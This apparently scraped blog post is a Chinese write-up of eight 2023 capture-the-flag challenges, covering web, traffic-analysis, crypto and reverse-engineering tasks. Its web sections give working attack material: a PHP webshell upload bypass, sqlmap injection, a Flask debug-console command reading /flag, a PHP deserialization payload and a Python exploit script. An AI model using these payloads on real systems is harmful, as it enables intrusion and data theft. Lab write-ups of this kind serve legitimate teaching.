迪庆企业网站建设,咸阳市建设工程信息网,wordpress 二栏,室内设计网站国外文章目录 一、2023csy-web1二、2023csy-web2三、2023csy-web3四、2023csy-web4五、2023csy-misc1六、2023csy-misc2七、2023csy-crypto1八、2023csy-re1 一、2023csy-web1 该题提供一个web靶场#xff0c;《伟大的挑战者》#xff0c;分值#xff1a;5分 web页面一直在播放c… 文章目录 一、2023csy-web1二、2023csy-web2三、2023csy-web3四、2023csy-web4五、2023csy-misc1六、2023csy-misc2七、2023csy-crypto1八、2023csy-re1 一、2023csy-web1 该题提供一个web靶场《伟大的挑战者》分值5分 web页面一直在播放cavas 动画显示字体内容为TEXTArray [“你”, “永远”, “也”, “看不见”, “我”, “站在”, “窗边”, “最难过”, “的样子”, “因为”, “你”, “知道的”, “在”, “所有”, “看不见”, “你的”, “时候”, “才是”, “最”, “难”, “过”, “的”, “我”, “爱”, “你”]; F12 查看源代码全局搜索未发现与flag相关的逻辑代码 使用 dirsearch 进行目录扫描发现存在 git 泄露
使用 git_extract.py 工具获取git仓库内容发现 importtant.txt 存在flag: 二、2023csy-web2 题目提供了一下小蔡博客网站分值 8分 发现网站的注册用户名存在xss漏洞搞个接码平台看是否能获得管理员的cookie, 可能flag在管理员用户界面里但是半天解码平台平台没反应此路不通。使用 dirsearch 进行目录扫描发现 admin/login 以及 src/search.php 路径发现搜索界面存在sql注入使用sqlmap进行利用获得用户名账号和密码
登录管理员端存在 /admin/edit.php 路径可进行文件上传直接上传一句话木马php会被拦截如下绕过 script languagepHpeval($_POST[x])/script 使用蚂剑进行连接发现flag: 三、2023csy-web3 题目给出 /source 存在一段 python flask 代码 查看源代码我们可以看到web服务多个路径。还有一个/get_file路径
app.route(/get_file/path:name)
def get_file(name):return send_from_directory(app.config[FILES_FOLDER], name, as_attachmentTrue)因此如果我们分析代码我们会发现两件事第一件事是应用程序日志被写入/tmp/app中的文件这也是 **/get_file端点中使用的同一目录。
app.config[FILES_FOLDER] /tmp/app
logging.basicConfig(filename/tmp/app/app.log, levellogging.DEBUG, formatf%
(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s)这样我们就能够获取应用程序日志但是我们能用它做什么呢这就是第二个配置错误出现的地方调试模式已 打开
if __name__ __main__:app.run(host0.0.0.0, port8000, debugTrue)说明该网站Flask开启debug模式相当于给hacker留了后门。但我们需要 PIN 码才能访问它该 PIN 码会在应用程序启动时写入日志。因此我们需要获取app.log文件并获取将写入其中的控制台 PIN。
要获取日志文件我们可以使用/get_file路径 http://**/get_file/app.log。在那里我们可以找到控制台的 PIN 码。进入控制台后我们只需要找到该标志并读取其内容即可。
然后进入后台 http://**/console, 输入__import__(os).popen(cat /flag).read() 四、2023csy-web4 题目提供如下PHP源代码分值10分 审计以上代码可以得出两个知识点hash_hmac绕过 反序列化 匿名函数爆破。先看 hash_hmac 绕过代码可以分离成如下 $secret hash_hmac(sha256, $_GET[salt], file_get_contents(/flag));$hmac hash_hmac(sha256, $_GET[password], $secret);if ($_GET[mac] $hmac) {show_source(/flag);}当我们给 hash_hmac 第二个参数传递的值为数组的时候会返回 false。这时 secret 的值我们就可以控制为 false。 故 payload 为salt[]1password1mac41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523。 再看反序列化代码可以分离成如下
class Bird {public $funcs;public $salt;public $flag;function say_flag() {echo 输出flag;}function __destruct() {$self_func $this-funcs;$self_func();}
}
unserialize($_GET[d]);代码段中存在魔法函数 __destruct在对象的所有引用都被删除时或者对象被显式销毁时调用当对象被销毁时自动调用。要想执行 say_flag() 函数那就要 __destruct() 函数中的 funcs 下手序列化代码如下
?php
class Bird{public $funcs[Bird,say_flag];public $salt;public $flag;function say_flag(){echo 输出flag;}function __destruct(){$self_func$this-funcs;$self_func();}
}
$s new Bird();
echo serialize($d);在 PHP 中类名可以作为字符串被调用如果类名是当前命名空间的一部分也可以省略命名空间。这意味着 $this-funcs 中的字符串 ‘Bird’ 在这个上下文中等同于 Bird::。因此‘Bird’, ‘say_flag’ 实际上等同于 Bird::say_flag()。 故payload为dO:4:Bird:3:{s:5:funcs;a:2:{i:0;s:4:Bird;i:1;s:8:say_flag;}s:4:salt;N;s:4:flag;N;}。再看匿名函数代码可以分离成如下
if (isset($_GET[p])) {$funcs create_function(, unserialize(\$_GET[d]););$_GET[p]();
} else {show_source(__FILE__);
}其实我们只要执行$funcs就可以了但是我们不知道这个函数的名称是一个匿名函数。 create_function() 匿名函数爆破漏洞它create之后会自动生成一个函数名为 %00lambda_%d。%d这个值是一直递增的这里的%d会一直递增到最大长度直到结束这里可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程这样这里的%d会刷新为1。 把上述payload组合到一起编写 exp 如下
import requestsurlhttp://localhost/zxb-csy-web4.php?salt[]1password1mac41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523dO:4:Bird:3:{s:5:funcs;a:2:{i:0;s:4:Bird;i:1;s:8:say_flag;}s:4:salt;N;s:4:flag;N;}p%00lambda_1while True:r requests.get(url).textif Call to undefined function not in r:print(r)break最终解得flag如下 五、2023csy-misc1 hacker盗取了敏感信息分析hacker流量找到敏感信息。提供 data.pcapng 流量包。分值5分 查看流量包主要有 TCP、UDP、HTTP 协议hacker盗取敏感信息大概率是 HTTP 或者 TCP。UDP 几乎没见过先排除。优先分析 HTTP 流量如下查看 HTTP 请求序列: 看到可疑请求路径 /hack.php, 输入过滤命令http contains hack.php http流跟踪发现 f14444444g.php 筛选含有 f14444444g.php 的流量包 http contains f14444444g.php 依次查看发现可疑字符串Base64 解码得到flag 六、2023csy-misc2 提供一个流量包 pack.pcapng找出 flag, 题目未提供提示。分值8分 wireshark 打开发现很多 dns 协议数据包而且存在 Base 字眼
直接使用kali 里面 tshark 命令筛选分离tshark -r pack.pcapng -Y dns -T fields -e dns.qry.name | grep base dns.txt 拿去 vscode 快速去重处理得 base64 解密得flag 七、2023csy-crypto1 根据题目得知为移位的异或, 编写python脚本 enc open(flag.enc, rb).read()
enc list(enc)
print(enc)key zxb
flag [0] * len(enc)
print(len(flag))
flag[-1] ord(})
for i in range(len(flag)-2, -1, -1):flag[i] flag[i1] ^ enc[i] ^ ord(key[i%3])
print(bytes(flag))八、2023csy-re1 提供一个 fake.exe 文件逆向分析获得flag。分值8分 先查看 PE: 64位程序使用 ida64 打开f5 查看伪代码 这段代码是一个简单的文件读取和处理程序它从文件 “flag.txt” 读取 0x1319字节的数据然后进行异或操作并检查结果是否与某个预定义的字符串 Str2 相匹配。要反推出 “flag.txt” 的内容在这里*(Str1 i) i ^ *((_BYTE *)Buffer i); 表示将文件中每个字节与索引进行异或运算并将结果存储在 Str1 中。要得到 flag.txt 的内容您可以创建一个相反的异或操作将 Str1 中的每个字节与相应的索引再次进行异或。在 ida 里面找到 str2 为S[]1475XRQUHY]QIQZW
编写脚本
# 已知的str2值
str2 S[]1475XRQUHY]QIQZW# 解码函数根据异或的性质如果 a ^ b c 那么 a ^ c b 以及 b ^ c a
def decode(encoded_str):# 将str2转化为byte array方便进行异或操作encoded_bytes bytearray(encoded_str, utf-8)# 初始化str1str1 bytearray(len(encoded_bytes))# 按照C程序中的流程反向执行异或操作for i in range(len(encoded_bytes)):# 因为之前是i和字符异或所以逆运算也是i和字符异或str1[i] i ^ encoded_bytes[i]# 转换回字符串形式return str1.decode(utf-8)# 使用定义好的decode函数解码str2
decoded_str1 decode(str2)
print(fDecoded str1: {decoded_str1})得到 flag 为 但是提交发现一直错误难道这是陷阱 查看函数列表发现 TLS 回调函数 代码逆向分析领域中TLSThread Local Storage线程局部存储回调函数Callback Function常用反调试。TLS回调函数的调用运行要先于EP代码的执行该特征使它可以作为一种反调试技术的使用。 查看 TlsCallback_0 函数
从代码能看出一直在跟 loc_140003000 函数做处理怀疑是 SMC 自解密技术。 1、SMC即Self Modifying Code动态代码加密技术指通过修改代码或数据阻止别人直接静态分析然后在动态运行程序时对代码进行解密达到程序正常运行的效果。 2、SMC的实现方式有很多种可以通过修改PE文件的Section Header、使用API Hook实现代码加密和解密、使用VMProtect等第三方加密工具等。 3、SMC一般有俩种破解方法第一种是找到对代码或数据加密的函数后通过idapython写解密脚本。第二种是动态调试到SMC解密结束的地方dump出来。 在 return result 打断点进行动态调试
卡在 52行smc 自解密已经完成直接进入 loc_140003000 函数U、C、P F5 一把梭查看到真实代码
编写 python 脚本如下
def reverse_function(a1, a2):return ~a2 ~a1v25 [-83, -91, -93, -49, -52, -55, -53, -88, -82, -81, -85, -72, -89, -93, -81, -88, -89, -95, -51]
v12 [0] * 32
arr [0] * 19for i in range(19):for j in range(200):v16 reverse_function(j, i)v17 reverse_function(i, i)v1 jv18 v1v2 reverse_function(v1, v1)v3 reverse_function(v2, v17)v19 reverse_function(v3, v16) - 1v20 reverse_function(j, i)v21 reverse_function(i, i)v4 jv22 v4v5 reverse_function(v4, v4)v6 reverse_function(v5, v21)v7 reverse_function(v6, v20)v12[i] reverse_function((v7 - 1), v19)if v12[i] v25[i]:arr[i] j# Convert arr to string and print
result_str .join(chr(x) for x in arr)
print(result_str)最终flag{SZ_2023_ZX_CUP_WIN!} 为正确答案。